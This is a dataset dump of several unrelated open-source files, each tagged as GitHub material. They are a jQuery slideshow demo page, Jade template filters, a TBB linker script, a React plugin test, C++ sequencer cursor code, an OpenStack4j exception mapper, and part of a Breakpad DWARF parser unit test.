text
stringlengths 2
99k
| meta
dict |
|---|---|
<!DOCTYPE html>
<html class="no-js">
<head>
<title>jQuery Presentation Plugin</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<script type="text/javascript">(function(H){H.className=H.className.replace(/\bno-js\b/,'js')})(document.documentElement)</script>
<link href="stylesheets/screen.css" type="text/css" rel="stylesheet" media="Screen,projection" />
</head>
<body>
<div id="header">
<div class="container">
<h1>jQuery Presentation Plugin</h1>
</div>
</div>
<div id="content">
<div id="slides">
<div class="slide">
<h2>Slide 1</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<ul>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</li>
<li>Here is a short list item</li>
</ul>
</div>
<div class="slide">
<h2>Slide 2</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
<div class="slide">
<h2>Slide 3</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
<div class="slide">
<h2>Slide 4</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
<div class="slide">
<h2>Slide 5</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
</div>
</div>
<div id="footer">
<div class="container">
© 2010 Trevor Davis Viget Labs
</div>
</div>
<script type="text/javascript" src="scripts/jquery.js"></script>
<script type="text/javascript" src="scripts/jquery.presentation.js"></script>
<script type="text/javascript" src="scripts/global.js"></script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/*!
* Jade - filters
* Copyright(c) 2010 TJ Holowaychuk <[email protected]>
* MIT Licensed
*/
module.exports = {
/**
* Wrap text with CDATA block.
*/
cdata: function(str){
return '<![CDATA[\\n' + str + '\\n]]>';
},
/**
* Transform sass to css, wrapped in style tags.
*/
sass: function(str){
str = str.replace(/\\n/g, '\n');
var sass = require('sass').render(str).replace(/\n/g, '\\n');
return '<style type="text/css">' + sass + '</style>';
},
/**
* Transform stylus to css, wrapped in style tags.
*/
stylus: function(str, options){
var ret;
str = str.replace(/\\n/g, '\n');
var stylus = require('stylus');
stylus(str, options).render(function(err, css){
if (err) throw err;
ret = css.replace(/\n/g, '\\n');
});
return '<style type="text/css">' + ret + '</style>';
},
/**
* Transform less to css, wrapped in style tags.
*/
less: function(str){
var ret;
str = str.replace(/\\n/g, '\n');
require('less').render(str, function(err, css){
if (err) throw err;
ret = '<style type="text/css">' + css.replace(/\n/g, '\\n') + '</style>';
});
return ret;
},
/**
* Transform markdown to html.
*/
markdown: function(str){
var md;
// support markdown / discount
try {
md = require('markdown');
} catch (err){
try {
md = require('discount');
} catch (err) {
try {
md = require('markdown-js');
} catch (err) {
try {
md = require('marked');
} catch (err) {
throw new
Error('Cannot find markdown library, install markdown, discount, or marked.');
}
}
}
}
str = str.replace(/\\n/g, '\n');
return md.parse(str).replace(/\n/g, '\\n').replace(/'/g,''');
},
/**
* Transform coffeescript to javascript.
*/
coffeescript: function(str){
str = str.replace(/\\n/g, '\n');
var js = require('coffee-script').compile(str).replace(/\\/g, '\\\\').replace(/\n/g, '\\n');
return '<script type="text/javascript">\\n' + js + '</script>';
}
};
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2005-2014 Intel Corporation. All Rights Reserved.
This file is part of Threading Building Blocks. Threading Building Blocks is free software;
you can redistribute it and/or modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation. Threading Building Blocks is
distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the
implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details. You should have received a copy of
the GNU General Public License along with Threading Building Blocks; if not, write to the
Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
As a special exception, you may use this file as part of a free software library without
restriction. Specifically, if other files instantiate templates or use macros or inline
functions from this file, or you compile this file and link it with other files to produce
an executable, this file does not by itself cause the resulting executable to be covered
by the GNU General Public License. This exception does not however invalidate any other
reasons why the executable file might be covered by the GNU General Public License.
*/
{
global:
#define __TBB_SYMBOL( sym ) sym;
#include "lin64ipf-tbb-export.lst"
local:
/* TBB symbols */
*3tbb*;
*__TBB*;
/* ITT symbols */
__itt_*;
/* Intel Compiler (libirc) symbols */
__intel_*;
_intel_*;
?0_memcopyA;
?0_memcopyDu;
?0_memcpyD;
?1__memcpy;
?1__memmove;
?1__serial_memmove;
memcpy;
memset;
};
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2019, GeoSolutions Sas.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*/
import expect from 'expect';
import React from 'react';
import ReactDOM from 'react-dom';
import GeoStoryEditor from '../GeoStoryEditor';
import { getPluginForTest } from './pluginsTestUtils';
import { createStateMocker } from '../../reducers/__tests__/reducersTestUtils';
import geostory from '../../reducers/geostory';
import { setEditing } from '../../actions/geostory';
describe('GeoStoryEditor Plugin', () => {
const stateMocker = createStateMocker({geostory});
beforeEach((done) => {
document.body.innerHTML = '<div id="container"></div>';
setTimeout(done);
});
afterEach((done) => {
ReactDOM.unmountComponentAtNode(document.getElementById("container"));
document.body.innerHTML = '';
setTimeout(done);
});
it('Shows GeoStoryEditor plugin hidden in view mode', () => {
const { Plugin } = getPluginForTest(GeoStoryEditor, stateMocker(setEditing(false)));
ReactDOM.render(<Plugin />, document.getElementById("container"));
expect(document.getElementsByClassName('ms-geostory-editor').length).toBe(0);
});
it('Hide GeoStoryEditor plugin visible in edit mode', () => {
const { Plugin } = getPluginForTest(GeoStoryEditor, stateMocker(setEditing(true)));
ReactDOM.render(<Plugin />, document.getElementById("container"));
expect(document.getElementsByClassName('ms-geostory-editor').length).toBe(1);
});
});
|
{
"pile_set_name": "Github"
}
|
/*
SequenceCursor.cpp
Copyright (C) 2014 Kushview, LLC. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#if 0
// Constructor.
SequenceCursor::SequenceCursor (Sequencer& seq, int64 frame, DataType sync_type)
: owner (seq),
mSyncType (sync_type),
trackCount (0)
{
mFrame = frame;
rtClipSize = 0;
resetClips();
reset();
}
// Destructor.
SequenceCursor::~SequenceCursor()
{
//destroyed();
//owner.removeCursor (this);
rtClips.reset();
}
// Clip sync flag accessor.
void
SequenceCursor::setSyncType (DataType sync)
{
mSyncType = sync;
}
DataType
SequenceCursor::syncType() const
{
return mSyncType;
}
// General bi-directional locate method.
void
SequenceCursor::seek (int64 frame, bool sync)
{
#if 1
if (frame == mFrame)
return;
const int32 ntracks = owner.tracks().size();
int32 index = 0;
while (index < ntracks && index < trackCount.get())
{
const SequencerTrack* track (owner.tracks().getUnchecked (index));
ClipSource* clip = nullptr;
ClipSource* lastClip = rtClips [index];
// Optimize if seeking forward...
if (frame > mFrame)
clip = lastClip;
// Locate first clip not past the target frame position..
clip = seekClip (track, clip, frame);
// Update cursor track clip...
rtClips [index] = clip;
#if 1
// Now something fulcral for clips around...
// FIXME: if (track->sync_type() == m_sync_type)
{
// Tell whether play-head is after loop-start position...
// FIXME: bool is_looping = (frame >= p_seq->loop_start());
// const bool is_looping = frame > 0;
// Care for old/previous clip...
if (lastClip && lastClip != clip)
{
// lastClip->reset (is_looping);
}
// Set final position within target clip...
if (clip && sync)
{
#if 0
// Take care of overlapping clips...
const uint64_t clip_end = clip->frame_end();
Clip::iterator c = clip->position();
Clip::iterator e = track->clips_end();
while (c != e)
{
Clip& clip (*c);
uint64_t clip_start = clip.frame_start();
if (clip_start > clip_end)
{
break;
}
if (frame >= clip_start && frame < clip_start + clip.duration())
{
clip.seek (frame - clip_start);
}
else
{
clip.reset (is_looping);
}
++c;
}
#endif
}
}
#endif
++index;
}
#endif
mFrame = frame;
}
int64
SequenceCursor::frame() const
{
return mFrame;
}
void
SequenceCursor::setFrameTime (int64 frameTime)
{
mFrameTime = frameTime;
mFrameDelta = mFrame - frameTime;
}
int64
SequenceCursor::frameTime() const
{
return mFrameTime;
}
int64
SequenceCursor::setFrameTimeExpected() const
{
return mFrameTime + mFrameDelta;
}
ClipSource*
SequenceCursor::clip (int32 track) const
{
return (track < trackCount.get() ? rtClips [track] : nullptr);
}
ClipSource*
SequenceCursor::seekClip (const SequencerTrack* track, ClipSource* clip, int64 frame) const
{
if (clip == nullptr)
clip = track->firstClip();
while (clip && frame > clip->frameEnd())
clip = clip->next();
if (clip == nullptr)
clip = track->lastClip();
return clip;
}
void
SequenceCursor::addTrack()
{
const int32 newCount = trackCount.get() + 1;
if (rtClipSize < newCount)
{
rtClipSize += newCount;
ClipArray newSources (new ClipSource* [rtClipSize]);
updateClips (newSources.get(), newCount);
rtClips.swap (newSources);
}
else
{
updateClips (rtClips.get(), newCount);
}
while (! trackCount.set (newCount)) { /*spin*/ }
}
void
SequenceCursor::updateTrack (const SequencerTrack* track)
{
const int32 index = track->index();
if (isPositiveAndBelow (index, trackCount.get()))
{
ClipSource* clip = seekClip (track, nullptr, mFrame);
if (clip && clip->isInRangeOf (mFrame))
clip->seekLocalFrame (mFrame - clip->frameStart());
rtClips [index] = clip;
}
}
void
SequenceCursor::removeTrack (const SequencerTrack* track)
{
const int index = track->index();
if (index >= 0 && uint32_t (index) < numTracks())
removeTrack ((uint32_t) index);
}
void
SequenceCursor::removeTrack (int32 track)
{
if (trackCount.set (trackCount.get() - 1))
{
for ( ; track < numTracks(); ++track)
rtClips [track] = rtClips [track + 1];
rtClips [track] = nullptr;
}
}
void
SequenceCursor::updateTrackClip (const SequencerTrack* track)
{
const int index = track->index();
if (index >= 0)
{
ClipSource* clip = rtClips [index];
#if 1
if (clip)
{
if (clip->isInRangeOf (mFrame))
clip->seekLocalFrame (mFrame - clip->frameStart());
else
{
// XXX: clip->reset ();
}
}
#endif
}
}
void
SequenceCursor::updateClips (ClipSource** clips, int32 size)
{
const Array<SequencerTrack*>& tracks (owner.tracks());
const int32 tsize = tracks.size();
int32 index = 0;
while (index < size && index < tsize)
{
ClipSource* clip = seekClip (tracks.getUnchecked (index),
nullptr, mFrame);
if (clip && clip->isInRangeOf (mFrame))
clip->seekLocalFrame (mFrame - clip->frameStart());
clips [index] = clip;
++index;
}
}
void
SequenceCursor::reset()
{
mFrameTime = 0;
mFrameDelta = mFrame;
}
void
SequenceCursor::resetClips()
{
const uint32_t ntracks = owner.numTracks();
rtClipSize = (ntracks << 1);
if (rtClipSize > 0)
{
ClipArray newClips (new ClipSource* [rtClipSize]);
updateClips (newClips.get(), ntracks);
rtClips.swap (newClips);
}
trackCount.set (ntracks);
}
void
SequenceCursor::process (int32 nframes)
{
mFrameTime += nframes;
}
#endif
|
{
"pile_set_name": "Github"
}
|
package org.openstack4j.core.transport;
import org.openstack4j.api.exceptions.AuthenticationException;
import org.openstack4j.api.exceptions.ClientResponseException;
import org.openstack4j.api.exceptions.ResponseException;
import org.openstack4j.api.exceptions.ServerResponseException;
/**
* Exception Handles for common Http messages and status codes
*
* @author Jeremy Unruh
*/
public class HttpExceptionHandler {
/**
* Maps an Exception based on the underlying status code
*
* @param message the message
* @param status the status
* @return the response exception
*/
public static ResponseException mapException(String message, int status) {
return mapException(message, status, null);
}
/**
* Maps an Exception based on the underlying status code
*
* @param message the message
* @param status the status
* @param cause the cause
* @return the response exception
*/
public static ResponseException mapException(String message, int status, Throwable cause) {
if (status == 401)
return new AuthenticationException(message, status, cause);
if (status >= 400 && status < 499)
return new ClientResponseException(message, status, cause);
if (status >= 500 && status < 600)
return new ServerResponseException(message, status, cause);
return new ResponseException(message, status, cause);
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2012, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// Original author: Jim Blandy <[email protected]> <[email protected]>
// dwarf2reader_die_unittest.cc: Unit tests for dwarf2reader::CompilationUnit
#include <stdint.h>
#include <stdlib.h>
#include <iostream>
#include <string>
#include <vector>
#include "breakpad_googletest_includes.h"
#include "common/dwarf/bytereader-inl.h"
#include "common/dwarf/dwarf2reader_test_common.h"
#include "common/dwarf/dwarf2reader.h"
#include "common/using_std_string.h"
#include "google_breakpad/common/breakpad_types.h"
using google_breakpad::test_assembler::Endianness;
using google_breakpad::test_assembler::Label;
using google_breakpad::test_assembler::Section;
using google_breakpad::test_assembler::kBigEndian;
using google_breakpad::test_assembler::kLittleEndian;
using dwarf2reader::ByteReader;
using dwarf2reader::CompilationUnit;
using dwarf2reader::Dwarf2Handler;
using dwarf2reader::DwarfAttribute;
using dwarf2reader::DwarfForm;
using dwarf2reader::DwarfHasChild;
using dwarf2reader::DwarfTag;
using dwarf2reader::ENDIANNESS_BIG;
using dwarf2reader::ENDIANNESS_LITTLE;
using dwarf2reader::SectionMap;
using std::vector;
using testing::InSequence;
using testing::Pointee;
using testing::Return;
using testing::Sequence;
using testing::Test;
using testing::TestWithParam;
using testing::_;
class MockDwarf2Handler: public Dwarf2Handler {
public:
MOCK_METHOD5(StartCompilationUnit, bool(uint64 offset, uint8 address_size,
uint8 offset_size, uint64 cu_length,
uint8 dwarf_version));
MOCK_METHOD2(StartDIE, bool(uint64 offset, enum DwarfTag tag));
MOCK_METHOD4(ProcessAttributeUnsigned, void(uint64 offset,
DwarfAttribute attr,
enum DwarfForm form,
uint64 data));
MOCK_METHOD4(ProcessAttributeSigned, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
int64 data));
MOCK_METHOD4(ProcessAttributeReference, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
uint64 data));
MOCK_METHOD5(ProcessAttributeBuffer, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
const uint8_t *data,
uint64 len));
MOCK_METHOD4(ProcessAttributeString, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
const string& data));
MOCK_METHOD4(ProcessAttributeSignature, void(uint64 offset,
DwarfAttribute attr,
enum DwarfForm form,
uint64 signature));
MOCK_METHOD1(EndDIE, void(uint64 offset));
};
struct DIEFixture {
DIEFixture() {
// Fix the initial offset of the .debug_info and .debug_abbrev sections.
info.start() = 0;
abbrevs.start() = 0;
// Default expectations for the data handler.
EXPECT_CALL(handler, StartCompilationUnit(_, _, _, _, _)).Times(0);
EXPECT_CALL(handler, StartDIE(_, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeUnsigned(_, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeSigned(_, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeReference(_, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeBuffer(_, _, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeString(_, _, _, _)).Times(0);
EXPECT_CALL(handler, EndDIE(_)).Times(0);
}
// Return a reference to a section map whose .debug_info section refers
// to |info|, and whose .debug_abbrev section refers to |abbrevs|. This
// function returns a reference to the same SectionMap each time; new
// calls wipe out maps established by earlier calls.
const SectionMap &MakeSectionMap() {
// Copy the sections' contents into strings that will live as long as
// the map itself.
assert(info.GetContents(&info_contents));
assert(abbrevs.GetContents(&abbrevs_contents));
section_map.clear();
section_map[".debug_info"].first
= reinterpret_cast<const uint8_t *>(info_contents.data());
section_map[".debug_info"].second = info_contents.size();
section_map[".debug_abbrev"].first
= reinterpret_cast<const uint8_t *>(abbrevs_contents.data());
section_map[".debug_abbrev"].second = abbrevs_contents.size();
return section_map;
}
TestCompilationUnit info;
TestAbbrevTable abbrevs;
MockDwarf2Handler handler;
string abbrevs_contents, info_contents;
SectionMap section_map;
};
struct DwarfHeaderParams {
DwarfHeaderParams(Endianness endianness, size_t format_size,
int version, size_t address_size)
: endianness(endianness), format_size(format_size),
version(version), address_size(address_size) { }
Endianness endianness;
size_t format_size; // 4-byte or 8-byte DWARF offsets
int version;
size_t address_size;
};
class DwarfHeader: public DIEFixture,
public TestWithParam<DwarfHeaderParams> { };
TEST_P(DwarfHeader, Header) {
Label abbrev_table = abbrevs.Here();
abbrevs.Abbrev(1, dwarf2reader::DW_TAG_compile_unit,
dwarf2reader::DW_children_yes)
.Attribute(dwarf2reader::DW_AT_name, dwarf2reader::DW_FORM_string)
.EndAbbrev()
.EndTable();
info.set_format_size(GetParam().format_size);
info.set_endianness(GetParam().endianness);
info.Header(GetParam().version, abbrev_table, GetParam().address_size)
.ULEB128(1) // DW_TAG_compile_unit, with children
.AppendCString("sam") // DW_AT_name, DW_FORM_string
.D8(0); // end of children
info.Finish();
{
InSequence s;
EXPECT_CALL(handler,
StartCompilationUnit(0, GetParam().address_size,
GetParam().format_size, _,
GetParam().version))
.WillOnce(Return(true));
EXPECT_CALL(handler, StartDIE(_, dwarf2reader::DW_TAG_compile_unit))
.WillOnce(Return(true));
EXPECT_CALL(handler, ProcessAttributeString(_, dwarf2reader::DW_AT_name,
dwarf2reader::DW_FORM_string,
"sam"))
.WillOnce(Return());
EXPECT_CALL(handler, EndDIE(_))
.WillOnce(Return());
}
ByteReader byte_reader(GetParam().endianness == kLittleEndian ?
ENDIANNESS_LITTLE : ENDIANNESS_BIG);
CompilationUnit parser("", MakeSectionMap(), 0, &byte_reader, &handler);
EXPECT_EQ(parser.Start(), info_contents.size());
}
INSTANTIATE_TEST_CASE_P(
HeaderVariants, DwarfHeader,
::testing::Values(DwarfHeaderParams(kLittleEndian, 4, 2, 4),
DwarfHeaderParams(kLittleEndian, 4, 2, 8),
DwarfHeaderParams(kLittleEndian, 4, 3, 4),
DwarfHeaderParams(kLittleEndian, 4, 3, 8),
DwarfHeaderParams(kLittleEndian, 4, 4, 4),
DwarfHeaderParams(kLittleEndian, 4, 4, 8),
DwarfHeaderParams(kLittleEndian, 8, 2, 4),
DwarfHeaderParams(kLittleEndian, 8, 2, 8),
DwarfHeaderParams(kLittleEndian, 8, 3, 4),
DwarfHeaderParams(kLittleEndian, 8, 3, 8),
DwarfHeaderParams(kLittleEndian, 8, 4, 4),
DwarfHeaderParams(kLittleEndian, 8, 4, 8),
DwarfHeaderParams(kBigEndian, 4, 2, 4),
DwarfHeaderParams(kBigEndian, 4, 2, 8),
DwarfHeaderParams(kBigEndian, 4, 3, 4),
DwarfHeaderParams(kBigEndian, 4, 3, 8),
DwarfHeaderParams(kBigEndian, 4, 4, 4),
DwarfHeaderParams(kBigEndian, 4, 4, 8),
DwarfHeaderParams(kBigEndian, 8, 2, 4),
DwarfHeaderParams(kBigEndian, 8, 2, 8),
DwarfHeaderParams(kBigEndian, 8, 3, 4),
DwarfHeaderParams(kBigEndian, 8, 3, 8),
DwarfHeaderParams(kBigEndian, 8, 4, 4),
DwarfHeaderParams(kBigEndian, 8, 4, 8)));
struct DwarfFormsFixture: public DIEFixture {
// Start a compilation unit, as directed by |params|, containing one
// childless DIE of the given tag, with one attribute of the given name
// and form. The 'info' fixture member is left just after the abbrev
// code, waiting for the attribute value to be appended.
void StartSingleAttributeDIE(const DwarfHeaderParams ¶ms,
DwarfTag tag, DwarfAttribute name,
DwarfForm form) {
// Create the abbreviation table.
Label abbrev_table = abbrevs.Here();
abbrevs.Abbrev(1, tag, dwarf2reader::DW_children_no)
.Attribute(name, form)
.EndAbbrev()
.EndTable();
// Create the compilation unit, up to the attribute value.
info.set_format_size(params.format_size);
info.set_endianness(params.endianness);
info.Header(params.version, abbrev_table, params.address_size)
.ULEB128(1); // abbrev code
}
// Set up handler to expect a compilation unit matching |params|,
// containing one childless DIE of the given tag, in the sequence s. Stop
// just before the expectations.
void ExpectBeginCompilationUnit(const DwarfHeaderParams ¶ms,
DwarfTag tag, uint64 offset=0) {
EXPECT_CALL(handler,
StartCompilationUnit(offset, params.address_size,
params.format_size, _,
params.version))
.InSequence(s)
.WillOnce(Return(true));
EXPECT_CALL(handler, StartDIE(_, tag))
.InSequence(s)
.WillOnce(Return(true));
}
void ExpectEndCompilationUnit() {
EXPECT_CALL(handler, EndDIE(_))
.InSequence(s)
.WillOnce(Return());
}
void ParseCompilationUnit(const DwarfHeaderParams ¶ms, uint64 offset=0) {
ByteReader byte_reader(params.endianness == kLittleEndian ?
ENDIANNESS_LITTLE : ENDIANNESS_BIG);
CompilationUnit parser("", MakeSectionMap(), offset, &byte_reader, &handler);
EXPECT_EQ(offset + parser.Start(), info_contents.size());
}
// The sequence to which the fixture's methods append expectations.
Sequence s;
};
struct DwarfForms: public DwarfFormsFixture,
public TestWithParam<DwarfHeaderParams> { };
TEST_P(DwarfForms, addr) {
StartSingleAttributeDIE(GetParam(), dwarf2reader::DW_TAG_compile_unit,
dwarf2reader::DW_AT_low_pc,
dwarf2reader::DW_FORM_addr);
uint64_t value;
if (GetParam().address_size == 4) {
value = 0xc8e9ffcc;
info.D32(value);
} else {
value = 0xe942517fc2768564ULL;
info.D64(value);
}
info.Finish();
ExpectBeginCompilationUnit(GetParam(), dwarf2reader::DW_TAG_compile_unit);
EXPECT_CALL(handler, ProcessAttributeUnsigned(_, dwarf2reader::DW_AT_low_pc,
dwarf2reader::DW_FORM_addr,
value))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
TEST_P(DwarfForms, block2_empty) {
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0x16e4d2f7,
(DwarfAttribute) 0xe52c4463,
dwarf2reader::DW_FORM_block2);
info.D16(0);
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0x16e4d2f7);
EXPECT_CALL(handler, ProcessAttributeBuffer(_, (DwarfAttribute) 0xe52c4463,
dwarf2reader::DW_FORM_block2,
_, 0))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
TEST_P(DwarfForms, block2) {
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0x16e4d2f7,
(DwarfAttribute) 0xe52c4463,
dwarf2reader::DW_FORM_block2);
unsigned char data[258];
memset(data, '*', sizeof(data));
info.D16(sizeof(data))
.Append(data, sizeof(data));
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0x16e4d2f7);
EXPECT_CALL(handler, ProcessAttributeBuffer(_, (DwarfAttribute) 0xe52c4463,
dwarf2reader::DW_FORM_block2,
Pointee('*'), 258))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
TEST_P(DwarfForms, flag_present) {
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0x3e449ac2,
(DwarfAttribute) 0x359d1972,
dwarf2reader::DW_FORM_flag_present);
// DW_FORM_flag_present occupies no space in the DIE.
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0x3e449ac2);
EXPECT_CALL(handler,
ProcessAttributeUnsigned(_, (DwarfAttribute) 0x359d1972,
dwarf2reader::DW_FORM_flag_present,
1))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
TEST_P(DwarfForms, sec_offset) {
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0x1d971689,
(DwarfAttribute) 0xa060bfd1,
dwarf2reader::DW_FORM_sec_offset);
uint64_t value;
if (GetParam().format_size == 4) {
value = 0xacc9c388;
info.D32(value);
} else {
value = 0xcffe5696ffe3ed0aULL;
info.D64(value);
}
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0x1d971689);
EXPECT_CALL(handler, ProcessAttributeUnsigned(_, (DwarfAttribute) 0xa060bfd1,
dwarf2reader::DW_FORM_sec_offset,
value))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
TEST_P(DwarfForms, exprloc) {
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0xb6d167bb,
(DwarfAttribute) 0xba3ae5cb,
dwarf2reader::DW_FORM_exprloc);
info.ULEB128(29)
.Append(29, 173);
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0xb6d167bb);
EXPECT_CALL(handler, ProcessAttributeBuffer(_, (DwarfAttribute) 0xba3ae5cb,
dwarf2reader::DW_FORM_exprloc,
Pointee(173), 29))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
TEST_P(DwarfForms, ref_sig8) {
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0x253e7b2b,
(DwarfAttribute) 0xd708d908,
dwarf2reader::DW_FORM_ref_sig8);
info.D64(0xf72fa0cb6ddcf9d6ULL);
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0x253e7b2b);
EXPECT_CALL(handler, ProcessAttributeSignature(_, (DwarfAttribute) 0xd708d908,
dwarf2reader::DW_FORM_ref_sig8,
0xf72fa0cb6ddcf9d6ULL))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam());
}
// A value passed to ProcessAttributeSignature is just an absolute number,
// not an offset within the compilation unit as most of the other
// DW_FORM_ref forms are. Check that the reader doesn't try to apply any
